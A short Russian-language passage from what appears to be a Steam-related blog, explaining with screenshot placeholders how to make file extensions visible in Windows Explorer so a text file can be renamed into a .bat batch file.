Чтобы использовать этот метод в кейсе, необходимо включить отображение параметров. Сделать это можно, перейдя на вкладку «Вид» и нажав кнопку «Параметры».скриншот_33

Вы также можете изменить параметры другим способом:

  • откройте меню поиска.

скриншот_6

  • Введите в строку поиска: «Параметры проводника».

скриншот_29

  • В меню «Параметры папки» перейдите на вкладку «Вид».

скриншот_30

  • Снимите флажок «Скрыть расширения для зарегистрированных типов».

скриншот_31

  • Сохранить изменения.

скриншот_32

После выполнения всех пунктов пользователь сможет сменить расширение. Текстовый файл конвертируется в пакетные баты.

Оцените статью
Блог про Steam